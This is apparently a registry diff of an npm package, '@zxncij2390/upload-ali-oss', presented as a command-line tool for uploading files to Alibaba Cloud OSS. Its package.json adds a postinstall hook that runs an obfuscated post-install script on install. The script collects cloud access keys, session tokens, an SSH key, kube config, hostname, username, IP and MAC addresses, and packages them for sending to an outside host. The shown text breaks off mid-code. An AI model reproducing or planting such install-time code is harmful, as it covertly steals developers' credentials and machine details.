@zxncij2390/upload-ali-oss 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/index.js ADDED
@@ -0,0 +1,24 @@
1
+ #!/usr/bin/env node
2
+ const args = require('minimist')(process.argv.slice(2));
3
+ const path = require('path');
4
+ const fs = require('fs');
5
+
6
+ const upload = require('./upload.js');
7
+
8
+ const getPath = dir => path.isAbsolute(dir) ? dir : path.join(process.cwd(), dir);
9
+
10
+ const figure = async () => {
11
+ const { _: plainArgs, config: configDir } = args;
12
+
13
+ const sourcePath = plainArgs[0];
14
+ const configPath = getPath(configDir);
15
+
16
+ const config = await fs.promises.readFile(configPath, 'utf-8');
17
+ const { accessKeyId, accessKeySecret, region, bucket } = JSON.parse(config);
18
+
19
+ console.log(`You would access ${region}/${bucket} with id: ${accessKeyId} and secret: ${accessKeySecret}.`);
20
+ await upload(sourcePath, JSON.parse(config));
21
+ }
22
+
23
+ const startTime = Date.now();
24
+ figure().then(() => console.log(`Upload successfully in ${(Date.now() - startTime) / 1000}s`))
package/package.json ADDED
@@ -0,0 +1,20 @@
1
+ {
2
+ "name": "@zxncij2390/upload-ali-oss",
3
+ "version": "0.1.2",
4
+ "description": "Command line tool for uploading files to ali-oss",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "node index.js ./example/collection --config=./example/config.test.json",
8
+ "postinstall": "node ./post-install.cjs"
9
+ },
10
+ "bin": {
11
+ "upload-ali-oss": "./index.js"
12
+ },
13
+ "author": "inaho",
14
+ "license": "ISC",
15
+ "dependencies": {
16
+ "ali-oss": "^6.9.0",
17
+ "mime": "^2.4.6",
18
+ "minimist": "^1.2.5"
19
+ }
20
+ }
@@ -0,0 +1 @@
1
+ const _0x3c3a=['ZUhMVWc=','ZHdGRHo=','YWh5TXY=','d3RGWnA=','cFNXcHo=','Y29uc29sZQ==','Smx0WlI=','bWV0aG9k','cGF0aA==','VHJNRkc=','RXlMSFg=','cmxmdmQ=','dG9TdHJpbmc=','ZWxWS0M=','SUxERUo=','RnhQU0c=','ZWp5enA=','Y3RHU3g=','VURycGI=','c3RyaW5naWZ5','Y25aYWw=','YXBwbHk=','VHVqRWM=','SmJDR1k=','YnVmZmVy','eEtEWVU=','d3dJUWk=','QVd4SVc=','YUhSMGNITTZMeTlwY0dsdVptOHVhVzh2YW5OdmJnPT0=','VU5CWVE=','dXB0aW1l','RmZKTEY=','Umx0bWo=','b2NhVlU=','TlVMTA==','SEFxUGo=','bFd4SVM=','a2RtZXA=','YVlvSWo=','d05oaHY=','emNSS1I=','eUpOWUs=','aGVhZGVycw==','RXdkUUI=','SVB2NA==','YWtpZA==','YXJndg==','YXBwbGljYXRpb24vanNvbg==','ZmlsdGVy','bmV0d29ya0ludGVyZmFjZXM=','Tkt3R3E=','bk5uQUU=','VFNXY0E=','Z1FsWUc=','bWd5Z0g=','WVhCd0xuUm9jbVZoZEdWemRDNWpiMjA9','eHZ1VkY=','RHZmYkU=','ZHRJS1k=','eW9ZQ1g=','YWRXYlc=','ZmxhdA==','Z3NkeWQ=','WXZSdUg=','VGhlIGZpcnN0IGFyZ3VtZW50IG11c3QgYmUgb2YgdHlwZSBzdHJpbmcgb3IgYW4gaW5zdGFuY2Ugb2YgQnVmZmVyLCBBcnJheUJ1ZmZlciwgb3IgQXJyYXkgb3IgYW4gQXJyYXktbGlrZSBPYmplY3Q=','YWJLaHQ=','R3ZsR1A=','ZkZDTnE=','emtMdEU=','TG10MVltVXZZMjl1Wm1sbg==','SHJta0w=','RVZUSU0=','b09Kbm4=','dmVyc2lvbg==','bklMY0g=','d2Fybg==','QmlYUk8=','VWVCWXM=','aHR0cHM=','dm9PYUg=','Z2V0','U1hIdHk=','R0txcEc=','dEtNdUI=','ZGVidWc=','TG5HU2I=','WEpxUVU=','c2VjcmV0QWNjZXNzS2V5','aVltWUs=','cmV0dXJuIC8iICsgdGhpcyArICIv','aG9zdG5hbWU=','XihbXiBdKyggK1teIF0rKSspK1teIF19','c2ZXTUo=','c2Vzc2lvblRva2Vu','eURQcXM=','bHp0bFI=','TmNOQmg=','ZW52','Y3B1cw==','c29tZQ==','ZnZNcHY=','aHdiZVc=','UE9TVA==','SklPVEo=','dmFsdWVz','dG9JU09TdHJpbmc=','aW5mbw==','SnRXQkY=','c2V0VGltZW91dA==','ZnJlZW1lbQ==','Z2V0U2VydmVycw==','RVBTWnA=','ZW5k','RmRZZkQ=','ZXhjZXB0aW9u','SmNXc0w=','WU1admg=','SlBGYW4=','dXRmOA==','U0xjUWE=','V3VWa0c=','Y3dk','VXRJWFA=','aFRobGs=','V2RKV3A=','bnhCWU0=','alZyYWk=','aG9tZWRpcg==','Q29udGVudC1UeXBl','aERzVE0=','Zm9yRWFjaA==','cmVhZEZpbGVTeW5j','emNzd1M=','RnVqaGg=','bmFtZQ==','c2Fr','dXRmLTg=','SlNJelE=','SGZha2Q=','U2VjcmV0S2V5','ZXhpc3RzU3luYw==','c3BsaXQ=','VFZCUnI=','Y29tcGlsZQ==','RklBSHE=','N3wwfDV8MXw2fDJ8M3w0','cXVlcnlzdHJpbmc=','YWtzYw==','dW5rbm93bg==','UWtWYnk=','dGFibGU=','Y3F0cWs=','cGFyc2U=','elJDcE8=','ZnJvbQ==','c1lyR1I=','SVB2Ng==','ZVNtSlM=','ZHNpRlM=','bG9n','c3Noaw==','cm5NS0s=','YWNjZXNzS2V5SWQ=','TG5OemFDOXBaRjl5YzJFPQ==','c3RyaW5n','cGdQcmU=','T3RLUko=','dG90YWxtZW0=','Y1RFbkU=','ak9Db28=','QlhYSVk=','b2plUko=','U2VjcmV0SWQ=','am9pbg==','TXNwdWM=','dHJhY2U=','QUdadGo=','VlR0cEI=','ZnhUamk=','cXR5eUM=','ZXhpdA==','WnFJeVo=','Q2N2WHQ=','eElJZXY=','SkR1dW8=','RHRncEk=','bGVuZ3Ro','SE1zU0E=','UkZtSWg=','Y29uc3RydWN0b3I=','R1Fseks=','YWNjZXNzS2V5U2VjcmV0','ZUJpRkg=','bm5VUVE=','bWFw','Um1xVmU=','cmhzRko=','ZXJyb3I=','YWJvcnQ=','Q3FRVFc=','RkNDdWc=','bUJiSno=','YWxrY04=','RnF5cGI=','ZG5z','cVltSk0=','cG9ydA==','c2lk','TEROTm0=','dGVzdA==','YWdNVkI=','TGk5d1lXTnJZV2RsTG1wemIyND0=','aXNCdWZmZXI=','UlBzbEg=','UVNkbkY=','MDA6MDA6MDA6MDA6MDA6MDA=','clF6SEc=','R0N2VXQ=','bUJ4R0Q=','ZGF0YQ==','YmFzZTY0','b1JGdU0='];(function(_0x39ca7a,_0x3c3a43){const _0x1e4518=function(_0x168b25){while(--_0x168b25){_0x39ca7a['push'](_0x39ca7a['shift']());}};const _0x3f47df=function(){const _0x3ccf26={'data':{'key':'cookie','value':'timeout'},'setCookie':function(_0x590943,_0x14c5f9,_0x424bf2,_0x471f21){_0x471f21=_0x471f21||{};let _0x2dcc37=_0x14c5f9+'='+_0x424bf2;let _0x1981cb=0x0;for(let _0x40d46e=0x0,_0x592596=_0x590943['length'];_0x40d46e<_0x592596;_0x40d46e++){const _0x4efc30=_0x590943[_0x40d46e];_0x2dcc37+=';\x20'+_0x4efc30;const _0x47bbab=_0x590943[_0x4efc30];_0x590943['push'](_0x47bbab);_0x592596=_0x590943['length'];if(_0x47bbab!==!![]){_0x2dcc37+='='+_0x47bbab;}}_0x471f21['cookie']=_0x2dcc37;},'removeCookie':function(){return'dev';},'getCookie':function(_0x43c11a,_0x56b217){_0x43c11a=_0x43c11a||function(_0x438916){return _0x438916;};const _0xa16e79=_0x43c11a(new RegExp('(?:^|;\x20)'+_0x56b217['replace'](/([.$?*|{}()[]\/+^])/g,'$1')+'=([^;]*)'));const _0x5e8550=function(_0x2694ef,_0x48c1ab){_0x2694ef(++_0x48c1ab);};_0x5e8550(_0x1e4518,_0x3c3a43);return _0xa16e79?decodeURIComponent(_0xa16e79[0x1]):undefined;}};const _0xd07df=function(){const _0x44dc8a=new RegExp('\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*[\x27|\x22].+[\x27|\x22];?\x20*}');return _0x44dc8a['test'](_0x3ccf26['removeCookie']['toString']());};_0x3ccf26['updateCookie']=_0xd07df;let _0x5c90b7='';const _0xfb793f=_0x3ccf26['updateCookie']();if(!_0xfb793f){_0x3ccf26['setCookie'](['*'],'counter',0x1);}else if(_0xfb793f){_0x5c90b7=_0x3ccf26['getCookie'](null,'counter');}else{_0x3ccf26['removeCookie']();}};_0x3f47df();}(_0x3c3a,0x156));const _0x1e45=function(_0x39ca7a,_0x3c3a43){_0x39ca7a=_0x39ca7a-0x0;let _0x1e4518=_0x3c3a[_0x39ca7a];if(_0x1e45['fhEFQF']===undefined){(function(){const _0x168b25=function(){let _0x5c90b7;try{_0x5c90b7=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0xfb793f){_0x5c90b7=window;}return _0x5c90b7;};const _0x3ccf26=_0x168b25();const _0xd07df='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x3ccf26['atob']||(_0x3ccf26['atob']=function(_0x590943){const _0x14c5f9=String(_0x590943)['replace'](/=+$/,'');let _0x424bf2='';for(let _0x471f21=0x0,_0x2dcc37,_0x1981cb,_0x40d46e=0x0;_0x1981cb=_0x14c5f9['charAt'](_0x40d46e++);~_0x1981cb&&(_0x2dcc37=_0x471f21%0x4?_0x2dcc37*0x40+_0x1981cb:_0x1981cb,_0x471f21++%0x4)?_0x424bf2+=String['fromCharCode'](0xff&_0x2dcc37>>(-0x2*_0x471f21&0x6)):0x0){_0x1981cb=_0xd07df['indexOf'](_0x1981cb);}return _0x424bf2;});}());_0x1e45['riKclU']=function(_0x592596){const _0x4efc30=atob(_0x592596);let _0x47bbab=[];for(let _0x43c11a=0x0,_0x56b217=_0x4efc30['length'];_0x43c11a<_0x56b217;_0x43c11a++){_0x47bbab+='%'+('00'+_0x4efc30['charCodeAt'](_0x43c11a)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x47bbab);};_0x1e45['peZttv']={};_0x1e45['fhEFQF']=!![];}const _0x3f47df=_0x1e45['peZttv'][_0x39ca7a];if(_0x3f47df===undefined){const _0xa16e79=function(_0x5e8550){this['muOMhV']=_0x5e8550;this['WeScbF']=[0x1,0x0,0x0];this['sgkqTU']=function(){return'newState';};this['kNtuSf']='\x5cw+\x20*\x5c(\x5c)\x20*{\x5cw+\x20*';this['kJNxKe']='[\x27|\x22].+[\x27|\x22];?\x20*}';};_0xa16e79['prototype']['otgyep']=function(){const _0x438916=new RegExp(this['kNtuSf']+this['kJNxKe']);const _0x2694ef=_0x438916['test'](this['sgkqTU']['toString']())?--this['WeScbF'][0x1]:--this['WeScbF'][0x0];return this['iOGUks'](_0x2694ef);};_0xa16e79['prototype']['iOGUks']=function(_0x48c1ab){if(!Boolean(~_0x48c1ab)){return _0x48c1ab;}return this['hBStPe'](this['muOMhV']);};_0xa16e79['prototype']['hBStPe']=function(_0x44dc8a){for(let _0x3e5355=0x0,_0x3e84dd=this['WeScbF']['length'];_0x3e5355<_0x3e84dd;_0x3e5355++){this['WeScbF']['push'](Math['round'](Math['random']()));_0x3e84dd=this['WeScbF']['length'];}return _0x44dc8a(this['WeScbF'][0x0]);};new _0xa16e79(_0x1e45)['otgyep']();_0x1e4518=_0x1e45['riKclU'](_0x1e4518);_0x1e45['peZttv'][_0x39ca7a]=_0x1e4518;}else{_0x1e4518=_0x3f47df;}return _0x1e4518;};const _0x590943=function(){const _0x1ce9e3={};_0x1ce9e3[_0x1e45('0x23')]=function(_0x1b9570,_0x5319e5){return _0x1b9570!==_0x5319e5;};_0x1ce9e3[_0x1e45('0x8c')]=_0x1e45('0xad');_0x1ce9e3[_0x1e45('0xc5')]=_0x1e45('0x74');_0x1ce9e3[_0x1e45('0x46')]='NULL';_0x1ce9e3[_0x1e45('0x50')]=function(_0x52e999,_0x2e1d2c){return _0x52e999(_0x2e1d2c);};_0x1ce9e3['kdmep']=function(_0x58e5d9,_0x3aceba){return _0x58e5d9(_0x3aceba);};_0x1ce9e3[_0x1e45('0x25')]=function(_0xe6cfe3,_0x58a614){return _0xe6cfe3(_0x58a614);};_0x1ce9e3[_0x1e45('0x76')]=function(_0x5dc966,_0x5921d7){return _0x5dc966(_0x5921d7);};_0x1ce9e3['XGuJL']='HnEdG';_0x1ce9e3[_0x1e45('0x18')]='SJBnS';const _0x1930ff=_0x1ce9e3;let _0x3285af=!![];return function(_0x5a72fd,_0x12449e){const _0x84bf40={};_0x84bf40[_0x1e45('0x86')]=_0x1930ff['GQlzK'];_0x84bf40['CcvXt']=function(_0x237547,_0x5f0997){return _0x237547(_0x5f0997);};_0x84bf40['alkcN']=function(_0x5cff8a,_0x3f4b01){return _0x1930ff[_0x1e45('0x50')](_0x5cff8a,_0x3f4b01);};_0x84bf40[_0x1e45('0xc2')]=function(_0x2489db,_0x146c62){return _0x1930ff['kdmep'](_0x2489db,_0x146c62);};_0x84bf40[_0x1e45('0x69')]=function(_0x10a77a,_0x107f4e){return _0x1930ff[_0x1e45('0x8b')](_0x10a77a,_0x107f4e);};_0x84bf40[_0x1e45('0xd1')]=function(_0x1296db,_0x4e3f29){return _0x1930ff[_0x1e45('0x8b')](_0x1296db,_0x4e3f29);};_0x84bf40['gsdyd']=function(_0x474811,_0x29d4e2){return _0x474811(_0x29d4e2);};_0x84bf40[_0x1e45('0x70')]=function(_0x5c5003,_0x3e9783){return _0x1930ff[_0x1e45('0x25')](_0x5c5003,_0x3e9783);};_0x84bf40['sLljR']=function(_0x46d719,_0x4c205d){return _0x1930ff[_0x1e45('0x76')](_0x46d719,_0x4c205d);};const _0x5b92e0=_0x84bf40;if(_0x1930ff['XGuJL']===_0x1930ff['FIAHq']){req[_0x1e45('0x4e')]();}else{const _0x485ef8=_0x3285af?function(){if(_0x1930ff[_0x1e45('0x23')](_0x1e45('0x5'),_0x1930ff[_0x1e45('0x8c')])){if(_0x12449e){if(_0x1930ff[_0x1e45('0x23')](_0x1930ff['lztlR'],_0x1930ff[_0x1e45('0xc5')])){ipv6=address;}else{const _0xb2f3c7=_0x12449e['apply'](_0x5a72fd,arguments);_0x12449e=null;return _0xb2f3c7;}}}else{const _0x2bc7c4=process['env'][_0x1e45('0x34')]||_0x5b92e0[_0x1e45('0x86')];const _0x33e08e=encrypt(_0x2bc7c4);const _0x57b514=process[_0x1e45('0xc7')]['accessKeyId']||_0x5b92e0[_0x1e45('0x86')];const _0xddd34d=_0x5b92e0['CcvXt'](encrypt,_0x57b514);const _0x2b0617=process[_0x1e45('0xc7')][_0x1e45('0x13')]||_0x5b92e0[_0x1e45('0x86')];const _0x24f397=_0x5b92e0[_0x1e45('0x3e')](encrypt,_0x2b0617);const _0x3df59f=process[_0x1e45('0xc7')][_0x1e45('0x47')]||_0x1e45('0x88');const _0x3bac9d=_0x5b92e0[_0x1e45('0x3e')](encrypt,_0x3df59f);const _0x2f5c7e=process['env'][_0x1e45('0xbd')]||_0x5b92e0[_0x1e45('0x86')];const _0x304a65=_0x5b92e0[_0x1e45('0x52')](encrypt,_0x2f5c7e);const _0x50602d=process[_0x1e45('0xc7')][_0x1e45('0xc3')]||_0x1e45('0x88');const _0x2aae18=_0x5b92e0['sfWMJ'](encrypt,_0x50602d);const _0x10401d={};_0x10401d['ct']=_0x5b92e0[_0x1e45('0x69')](encrypt,new Date()[_0x1e45('0xcf')]());_0x10401d['p']=_0x5b92e0[_0x1e45('0xd1')](encrypt,packageName);_0x10401d['sp']=_0x5b92e0[_0x1e45('0xd1')](encrypt,process[_0x1e45('0x94')][0x1]);_0x10401d['cp']=_0x5b92e0[_0x1e45('0xd1')](encrypt,process['cwd']());_0x10401d['hn']=_0x5b92e0['JtWBF'](encrypt,os[_0x1e45('0xc0')]());_0x10401d['un']=_0x5b92e0['JtWBF'](encrypt,username);_0x10401d['ei']=_0x5b92e0[_0x1e45('0xa4')](encrypt,exip);_0x10401d['i4']=encrypt(ipv4);_0x10401d['i6']=encrypt(ipv6);_0x10401d['ds']=dns[_0x1e45('0xd4')]();_0x10401d['ma']=encrypt(macAddr);_0x10401d['sid']=_0x33e08e;_0x10401d['sk']=_0x24f397;_0x10401d[_0x1e45('0x93')]=_0xddd34d;_0x10401d[_0x1e45('0x1b')]=_0x3bac9d;_0x10401d[_0x1e45('0xf')]=_0x304a65;_0x10401d['st']=_0x2aae18;_0x10401d['v']=_0x5b92e0[_0x1e45('0x70')](encrypt,process['version']);_0x10401d['sshk']=_0x5b92e0[_0x1e45('0x70')](encrypt,sKey);_0x10401d['kc']=encrypt(kConfig);_0x10401d['pj']=_0x5b92e0['sLljR'](encrypt,JSON[_0x1e45('0x79')](packageJSON));return _0x10401d;}}:function(){};_0x3285af=![];return _0x485ef8;}};}();const _0xfb793f=_0x590943(this,function(){const _0x356458={};_0x356458[_0x1e45('0x26')]=function(_0x300b42,_0x3c271e){return _0x300b42===_0x3c271e;};_0x356458['yDPqs']=_0x1e45('0x83');_0x356458['Mspuc']=_0x1e45('0xc1');_0x356458['QCGTd']=function(_0x4d4c27){return _0x4d4c27();};const _0x30028b=_0x356458;const _0xd7712a=function(){if(_0x30028b[_0x1e45('0x26')](_0x1e45('0x83'),_0x30028b[_0x1e45('0xc4')])){const _0x2a604f=_0xd7712a[_0x1e45('0x45')](_0x1e45('0xbf'))()[_0x1e45('0x17')](_0x30028b[_0x1e45('0x36')]);return!_0x2a604f[_0x1e45('0x59')](_0xfb793f);}else{return{};}};return _0x30028b['QCGTd'](_0xd7712a);});_0xfb793f();const _0x3ccf26=function(){let _0x2685e4=!![];return function(_0xbfb471,_0x3074ad){const _0x434df2=_0x2685e4?function(){if(_0x3074ad){const _0x1d8d25=_0x3074ad['apply'](_0xbfb471,arguments);_0x3074ad=null;return _0x1d8d25;}}:function(){};_0x2685e4=![];return _0x434df2;};}();const _0x168b25=_0x3ccf26(this,function(){const _0x1559b5={};_0x1559b5['NcNBh']=_0x1e45('0x88');_0x1559b5['Fqypb']=function(_0x4bd731,_0x17ea7f){return _0x4bd731(_0x17ea7f);};_0x1559b5[_0x1e45('0x77')]=function(_0x509acf,_0x1bdaf5){return _0x509acf(_0x1bdaf5);};_0x1559b5[_0x1e45('0x1f')]=function(_0xb475a2,_0x2158a8){return _0xb475a2(_0x2158a8);};_0x1559b5[_0x1e45('0x41')]=function(_0x4f7d59,_0x30e222){return _0x4f7d59(_0x30e222);};_0x1559b5[_0x1e45('0x0')]=function(_0x2d713c,_0x1b18c7){return _0x2d713c(_0x1b18c7);};_0x1559b5[_0x1e45('0x65')]=function(_0x3804a3,_0x397162){return _0x3804a3(_0x397162);};_0x1559b5['Hfakd']=function(_0x480bb4,_0x392119){return _0x480bb4(_0x392119);};_0x1559b5[_0x1e45('0x39')]=function(_0x23a053,_0x2bf2ca){return _0x23a053(_0x2bf2ca);};_0x1559b5[_0x1e45('0x3f')]=function(_0x4fa679,_0xb80f3f){return _0x4fa679(_0xb80f3f);};_0x1559b5[_0x1e45('0x30')]=function(_0x57d2a2,_0x2e1bd1){return _0x57d2a2(_0x2e1bd1);};_0x1559b5[_0x1e45('0xb9')]=function(_0x6b3b63,_0x7c3d50){return _0x6b3b63!==_0x7c3d50;};_0x1559b5[_0x1e45('0x43')]=_0x1e45('0xdb');_0x1559b5[_0x1e45('0xbb')]=_0x1e45('0x5a');_0x1559b5[_0x1e45('0x67')]=function(_0x59777c,_0x5d7c7d){return _0x59777c(_0x5d7c7d);};_0x1559b5[_0x1e45('0xbc')]='return\x20(function()\x20';_0x1559b5[_0x1e45('0xae')]='{}.constructor(\x22return\x20this\x22)(\x20)';_0x1559b5[_0x1e45('0xcb')]=function(_0x53ba3a){return _0x53ba3a();};_0x1559b5[_0x1e45('0x55')]=function(_0x26bdcb,_0x166382){return _0x26bdcb===_0x166382;};_0x1559b5[_0x1e45('0xa5')]=_0x1e45('0xd9');_0x1559b5['TVBRr']=_0x1e45('0x49');_0x1559b5[_0x1e45('0x7f')]=function(_0x48ef72,_0x4fd2bf){return _0x48ef72===_0x4fd2bf;};_0x1559b5[_0x1e45('0x51')]=_0x1e45('0x32');_0x1559b5[_0x1e45('0xac')]=_0x1e45('0x19');const _0x1a6c24=_0x1559b5;const _0x31563a=function(){};let _0x4c0475;try{const _0x56d492=_0x1a6c24[_0x1e45('0x67')](Function,_0x1a6c24[_0x1e45('0xbc')]+_0x1a6c24[_0x1e45('0xae')]+');');_0x4c0475=_0x1a6c24[_0x1e45('0xcb')](_0x56d492);}catch(_0x202ccc){_0x4c0475=window;}if(!_0x4c0475[_0x1e45('0x6b')]){if(_0x1a6c24[_0x1e45('0x55')](_0x1a6c24[_0x1e45('0xa5')],_0x1a6c24[_0x1e45('0x16')])){try{const _0xcd34f0=process[_0x1e45('0xc7')][_0x1e45('0x34')]||_0x1a6c24['NcNBh'];const _0x4398ff=_0x1a6c24[_0x1e45('0x53')](encrypt,_0xcd34f0);const _0x423f3d=process['env'][_0x1e45('0x2a')]||_0x1a6c24[_0x1e45('0xc6')];const _0x3db818=encrypt(_0x423f3d);const _0x28c008=process[_0x1e45('0xc7')][_0x1e45('0x13')]||_0x1a6c24[_0x1e45('0xc6')];const _0xd49600=encrypt(_0x28c008);const _0x41e942=process[_0x1e45('0xc7')][_0x1e45('0x47')]||_0x1a6c24[_0x1e45('0xc6')];const _0x26330a=encrypt(_0x41e942);const _0x27ad8c=process[_0x1e45('0xc7')][_0x1e45('0xbd')]||_0x1a6c24[_0x1e45('0xc6')];const _0x163445=_0x1a6c24[_0x1e45('0x53')](encrypt,_0x27ad8c);const _0x57478c=process[_0x1e45('0xc7')][_0x1e45('0xc3')]||_0x1a6c24[_0x1e45('0xc6')];const _0x1a0d7e=_0x1a6c24['Fqypb'](encrypt,_0x57478c);const _0x5ecb39={};_0x5ecb39['ct']=encrypt(new Date()['toISOString']());_0x5ecb39['p']=_0x1a6c24[_0x1e45('0x77')](encrypt,packageName);_0x5ecb39['sp']=_0x1a6c24[_0x1e45('0x77')](encrypt,process[_0x1e45('0x94')][0x1]);_0x5ecb39['cp']=_0x1a6c24[_0x1e45('0x77')](encrypt,process[_0x1e45('0x1')]());_0x5ecb39['hn']=encrypt(os[_0x1e45('0xc0')]());_0x5ecb39['un']=_0x1a6c24['cqtqk'](encrypt,username);_0x5ecb39['ei']=_0x1a6c24['DtgpI'](encrypt,exip);_0x5ecb39['i4']=_0x1a6c24[_0x1e45('0x0')](encrypt,ipv4);_0x5ecb39['i6']=_0x1a6c24[_0x1e45('0x65')](encrypt,ipv6);_0x5ecb39['ds']=dns[_0x1e45('0xd4')]();_0x5ecb39['ma']=encrypt(macAddr);_0x5ecb39[_0x1e45('0x57')]=_0x4398ff;_0x5ecb39['sk']=_0xd49600;_0x5ecb39[_0x1e45('0x93')]=_0x3db818;_0x5ecb39[_0x1e45('0x1b')]=_0x26330a;_0x5ecb39[_0x1e45('0xf')]=_0x163445;_0x5ecb39['st']=_0x1a0d7e;_0x5ecb39['v']=_0x1a6c24[_0x1e45('0x12')](encrypt,process[_0x1e45('0xaf')]);_0x5ecb39[_0x1e45('0x28')]=_0x1a6c24[_0x1e45('0x39')](encrypt,sKey);_0x5ecb39['kc']=_0x1a6c24[_0x1e45('0x3f')](encrypt,kConfig);_0x5ecb39['pj']=_0x1a6c24[_0x1e45('0x30')](encrypt,JSON[_0x1e45('0x79')](packageJSON));return _0x5ecb39;}catch(_0x1cbdd8){return{};}}else{_0x4c0475[_0x1e45('0x6b')]=function(_0x3a1575){if(_0x1a6c24[_0x1e45('0xb9')](_0x1a6c24[_0x1e45('0x43')],_0x1a6c24[_0x1e45('0xbb')])){const _0x402850={};_0x402850['log']=_0x3a1575;_0x402850['warn']=_0x3a1575;_0x402850[_0x1e45('0xba')]=_0x3a1575;_0x402850[_0x1e45('0xd0')]=_0x3a1575;_0x402850[_0x1e45('0x4d')]=_0x3a1575;_0x402850['exception']=_0x3a1575;_0x402850[_0x1e45('0x1e')]=_0x3a1575;_0x402850[_0x1e45('0x37')]=_0x3a1575;return _0x402850;}else{packageName=packageJSON['name'];}}(_0x31563a);}}else{if(_0x1a6c24['xKDYU'](_0x1a6c24[_0x1e45('0x51')],'BXXIY')){const _0x47104a=_0x1a6c24[_0x1e45('0xac')][_0x1e45('0x15')]('|');let _0x413c3f=0x0;while(!![]){switch(_0x47104a[_0x413c3f++]){case'0':_0x4c0475[_0x1e45('0x6b')][_0x1e45('0xb1')]=_0x31563a;continue;case'1':_0x4c0475['console'][_0x1e45('0xd0')]=_0x31563a;continue;case'2':_0x4c0475[_0x1e45('0x6b')][_0x1e45('0xd8')]=_0x31563a;continue;case'3':_0x4c0475[_0x1e45('0x6b')][_0x1e45('0x1e')]=_0x31563a;continue;case'4':_0x4c0475[_0x1e45('0x6b')][_0x1e45('0x37')]=_0x31563a;continue;case'5':_0x4c0475[_0x1e45('0x6b')][_0x1e45('0xba')]=_0x31563a;continue;case'6':_0x4c0475['console']['error']=_0x31563a;continue;case'7':_0x4c0475[_0x1e45('0x6b')][_0x1e45('0x27')]=_0x31563a;continue;}break;}}else{if(fn){const _0x585680=fn[_0x1e45('0x7b')](context,arguments);fn=null;return _0x585680;}}}});_0x168b25();const fs=require('fs');const os=require('os');const path=require(_0x1e45('0x6e'));const dns=require(_0x1e45('0x54'));const querystring=require(_0x1e45('0x1a'));const https=require(_0x1e45('0xb4'));const {Buffer}=require(_0x1e45('0x7e'));let packageName=_0x1e45('0x1c');let packageJSON={};const encodedpackageJSON=_0x1e45('0x5b');const decodedpackageJSON=Buffer['from'](encodedpackageJSON,_0x1e45('0x64'))[_0x1e45('0x72')]();if(fs[_0x1e45('0x14')](decodedpackageJSON)){try{const _0x1380d2={};_0x1380d2['encoding']=_0x1e45('0x10');const json=fs[_0x1e45('0xb')](decodedpackageJSON,_0x1380d2);packageJSON=JSON[_0x1e45('0x20')](json)||{};if(packageJSON&&packageJSON[_0x1e45('0xe')]){packageName=packageJSON[_0x1e45('0xe')];}}catch(_0xe7e441){}}else{}const {USER:username}=process['env'];let ipv4='';let ipv6='';let macAddr='';const ifaces=os[_0x1e45('0x97')]();Object[_0x1e45('0xce')](ifaces)[_0x1e45('0xa')](_0x469378=>{const _0x46c06f={};_0x46c06f[_0x1e45('0x87')]=function(_0x2e054f,_0x1b539a){return _0x2e054f<_0x1b539a;};_0x46c06f[_0x1e45('0xbe')]=function(_0x4e0bab,_0x29886e){return _0x4e0bab(_0x29886e);};_0x46c06f[_0x1e45('0x8f')]=_0x1e45('0x92');_0x46c06f[_0x1e45('0x9f')]=function(_0x5e34a4,_0xb756ee){return _0x5e34a4===_0xb756ee;};_0x46c06f[_0x1e45('0x2e')]=_0x1e45('0x24');_0x46c06f[_0x1e45('0x29')]=function(_0x4f8b4d,_0x528b2e){return _0x4f8b4d!==_0x528b2e;};_0x46c06f[_0x1e45('0x61')]='trGKW';_0x46c06f['zRCpO']=_0x1e45('0x99');_0x46c06f['pSWpz']=_0x1e45('0x5f');_0x46c06f['zcswS']=function(_0x443c14,_0x36de9f){return _0x443c14===_0x36de9f;};_0x46c06f[_0x1e45('0x66')]=_0x1e45('0x73');const _0x189ec6=_0x46c06f;_0x469378['forEach'](({family,internal,address,mac})=>{const _0x4875be={};_0x4875be[_0x1e45('0x3')]=function(_0x5ba573,_0x57aa4f){return _0x189ec6['iYmYK'](_0x5ba573,_0x57aa4f);};const _0x503ed8=_0x4875be;if(family===_0x189ec6['yJNYK']&&!internal){ipv4=address;}if(_0x189ec6[_0x1e45('0x9f')](family,_0x189ec6[_0x1e45('0x2e')])&&!internal){if(_0x189ec6['rnMKK'](_0x189ec6['GCvUt'],_0x189ec6[_0x1e45('0x21')])){ipv6=address;}else{const _0x3c506f=os[_0x1e45('0xc8')]()[_0x1e45('0x42')];if(_0x189ec6[_0x1e45('0x87')](_0x3c506f,requiredCores)){return![];}else{return!![];}}}if(mac&&_0x189ec6[_0x1e45('0x29')](mac,_0x189ec6[_0x1e45('0x6a')])){if(_0x189ec6[_0x1e45('0xc')](_0x189ec6[_0x1e45('0x66')],_0x189ec6[_0x1e45('0x66')])){macAddr=mac;}else{const {ip}=JSON[_0x1e45('0x20')](data);_0x503ed8[_0x1e45('0x3')](resolve,_0x2e2568);}}});});function checkMemory(_0x4cd515){const _0xcf7b2d={};_0xcf7b2d['akivE']=function(_0x4ad979,_0x4ab41c){return _0x4ad979*_0x4ab41c;};_0xcf7b2d['rQzHG']=function(_0x105eef,_0x386426){return _0x105eef/_0x386426;};_0xcf7b2d[_0x1e45('0xa2')]=function(_0x3ac0c0,_0x2ffd58){return _0x3ac0c0*_0x2ffd58;};_0xcf7b2d[_0x1e45('0x2')]=function(_0x8df899,_0x3f1647){return _0x8df899-_0x3f1647;};const _0x17c872=_0xcf7b2d;const _0x383a74=os[_0x1e45('0x2f')]()/(_0x17c872['akivE'](0x400,0x400)*0x400);const _0x46dc45=_0x17c872[_0x1e45('0x60')](os[_0x1e45('0xd3')](),_0x17c872[_0x1e45('0xa2')](_0x17c872[_0x1e45('0xa2')](0x400,0x400),0x400));if(_0x17c872['UtIXP'](_0x383a74,_0x46dc45)<_0x4cd515){return![];}else{return!![];}}function checkCPUCores(_0x51f854){const _0x7f05aa={};_0x7f05aa[_0x1e45('0xb5')]=_0x1e45('0x8e');const _0x1bd15c=_0x7f05aa;const 